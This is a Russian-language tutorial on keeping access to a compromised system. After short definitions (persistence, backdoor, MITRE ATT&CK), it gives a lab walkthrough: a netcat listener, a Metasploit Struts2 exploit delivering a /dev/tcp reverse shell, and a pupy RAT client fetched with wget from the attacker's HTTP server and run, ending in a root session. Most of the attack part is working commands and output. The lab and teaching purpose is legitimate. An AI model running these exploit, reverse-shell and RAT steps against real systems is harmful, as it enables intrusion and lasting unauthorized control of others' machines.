Закрепление доступа
Определения
Закрепление доступа — это набор методов, которые атакующие используют для сохранения доступа к системам после
перезагрузки, изменения учетных данных и других изменений, которые могли бы прервать их доступ.
Backdoor (англ. Тайная дверь) — Backdoor - это скрытый способ доступа к системе, приложению или устройству, который обычно используется для обхода стандартных механизмов аутентификации и безопасности.
MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) - матрица для описания тактик, техник и процедур, которые могут использоваться киберпреступниками для осуществления кибератак на организации и компании. MITRE ATT&CK описывает более 200 тактик и приемов, которые могут использоваться киберпреступниками на разных этапах кибератаки: от получения доступа к сети до уничтожения данных и скрытия следов своей деятельности.
Алгоритм закрепления доступа
Процесс:
Стартовые условия | Действия | Результат |
Рабочая уязвимость |
Поднять сервер приема соединений Эксплуатировать уязвимость на атакуемом сервере для запуска соединения |
Обратный shell |
Нужные данные в зависимости от способа закрепления (Тип целевой системы, ...) |
Создание сервера для обработки соединений Создание / использование существующего скрипта/эксплоита |
Эксплоит |
Обратный shell Эксплоит |
Метод в соответствии со способом закрепления |
Устойчивый контроль |
Способы закрепления доступа:
- Использовать учетные данные на скомпроментированной системе
- Изменение в легитимные механизмы доступа.
- Внесение изменений в сервисы (добавляется нагрузка)
- Изменение ядра или загрузчика системы
Обратный shell
Генерация команд для получения обратной консоли
Ресурс https://www.revshells.com/ позволяет генерировать команды для исполнения на скомпроментированной системе и на нашей системе для получения обратного соединения. В разделе IP & port указывается адрес системы, к которой скомпроментированная система будет подключаться.
В разделе Listener генерируется команда, которую нужно исполнить на нашей системе для получения обратного соединения. Здесь можно выбрать приложение, установленное на нашей системе.
Затем слева устанавливаем тип скомпроментированной системы, интерпретатор (есть и python, php, ...), тип консоли, кодирование и получаем готовую строку для запуска на скомпроментированной системе. Думаю этому инструменту стоит посвятить отдельную страницу.
Эту строку добавляем как параметр к нагрузке.
Запускаем тестовый стенд уязвимого приложения.
Запускаем на 189 сервер
nc -lvnp 9004
Эксплуатация базовой уязвимости
$ msfconsole
msf6> use exploit/multi/http/struts2_code_exec_showcase
msf6> set RHOSTS 192.168.1.192
msf6> set TARGETURI /integration/saveGangster.action
msf6> set PAYLOAD cmd/unix/generic
msf6> set CMD 'sh -i >& /dev/tcp/192.168.1.189/9004 0>&1'
msf6> exploit
Теперь в консоли с nc мы увидим shell удаленной системы.
Создание нагрузки.
Из 4 перечисленных способов закрепления доступа попробуем 3 вариант.
В msf есть встроенные нагрузки для удаленного управления системой. Remote admin toolkit (RAT). Также есть и ряд других генераторов, рассмотрим pupy. Python реализация, полностью в оперативной памяти.
Запускаем контейнер pupy RAT server.
docker run -d --rm -v /tmp/projects:/projects -p 2022:22 -p 8443:8443 --name pupy alxchk/pupy:unstable
Создаем ssh ключ для взаимодействия с RAT сервером.
ssh-keygen
#все значения по умолчанию, в конце будет имя ключа
Копируем созданный ключ в директорию ключей pupy
cp ~/.ssh/id_ed25519.pub /tmp/projects/keys/authorized_keys
Подключаемся к pupy
ssh -i ~/.ssh/id_rsa -p 2022 pupy@127.0.0.1
Генерируем клиента.
gen -f client -O linux -A x64 connect --host 192.168.1.189:8443
Клиент сохранился по адресу [+] OUTPUT_PATH: /projects/default/output/pupyx64.yLcu40.lin
Для простой передачи на запускаем http сервер из этой директории
cd /tmp/projects/default/output/
python3 -m http.server 3000
и из обратного shell скачиваем
wget http://192.168.1.189:3000/pupyx64.yLcu40.lin
Делаем исполняемым файл и запускаем
chmod +x pupy*
./pupy*
Теперь в консоли pupy можно увидеть сессию
>> sessions
id user hostname platform release os_arch proc_arch intgty_lvl address
------------------------------------------------------------------------------------------------------
1 root 186cff64fb1e Linux 6.12.43+deb13-amd64 x86_64 64bit High 192.168.1.192